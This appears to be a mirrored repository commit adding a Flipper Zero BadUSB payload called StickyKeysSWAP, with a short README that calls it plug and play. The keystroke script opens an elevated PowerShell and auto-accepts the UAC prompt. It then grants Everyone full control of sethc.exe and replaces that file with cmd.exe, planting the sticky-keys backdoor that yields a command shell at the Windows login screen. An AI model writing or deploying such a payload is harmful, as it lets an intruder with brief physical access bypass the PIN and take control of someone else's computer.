mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 16:11:30 +00:00
Adding lost UNC0V3R3D BadUSB Collection
This commit is contained in:
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1500
|
||||
ALT y
|
||||
DELAY 1500
|
||||
GUI UP
|
||||
DELAY 1500
|
||||
STRING copy c:\windows\system32\sethc.exe c:\;$acl = Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("Jeder","FullControl","Allow");$AccessRule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","Allow");$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,37 @@
|
||||
|
||||
# StickyKeysSWAP
|
||||
|
||||
This script modifies the system file "sethc.exe" on a computer running Windows by adding full control access rules for "Everyone", replacing the file with the "cmd.exe" file, and setting the access control list of the file to the modified access control list.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. Just plug in the Flipper and run the script.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- replace cmd.exe
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user